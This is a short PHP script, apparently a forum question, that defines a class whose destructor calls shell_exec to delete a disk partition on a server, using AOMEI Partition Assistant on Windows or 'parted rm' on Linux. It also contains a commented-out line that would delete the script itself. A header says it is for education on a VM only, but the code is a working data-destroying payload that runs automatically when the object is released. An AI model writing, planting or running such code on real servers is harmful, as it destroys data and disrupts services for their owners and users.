<?php
/**
* ===============================================================================
* This script is a demonstration of learning shell command, file system, server security, ...so on,
* and only for education purposes, do not use it on the real server, but VM.
* ===============================================================================
* Query by TGGoD (The_Great_God_of_Death) @ 2021-06-14
*/
class WipePartitionOnExit {
private $partition = [];
public function __construct($partition) {
$np = count($this->partition);
if ($np > 1) {
$this->partition = [];
} else {
$this->partition[] = $partition;
}
// TO DO: MAIN
}
function __destruct() {
// TO DELETE SELF SCRIPT
//unlink(__FILE__);
// *** How to get server partition based on the current file? ***
// *** จะดึงชื่อพาร์ติชันของไฟล์ที่กำลังเปิดอยู่ได้อย่างไร? ***
// === "realpath(__FILE__);" not working. ===
$part2del = $this->partition[0];
// TO DELETE PARTITION
if ($part2del[1] === ":") {
// WINDOWS
$cmd = "partassist.exe /del:$part2del[0]"; // AOMEI Partition Assistant
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
} else {
// LINUX
$device = substr($part2del, 0, -1);
$minor = substr($part2del, -1);
$cmd = "parted $device rm $minor";
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
}
echo "<hr>The partition \"" . $part2del . "\" has been successfully wiped out!";
}
}
// WINDOWS
$wipe_server_partition = new WipePartitionOnExit("x:");
// LINUX
//$wipe_server_partition = new WipePartitionOnExit("/dev/sdb2");
// delete partition
$wipe_server_partition = null;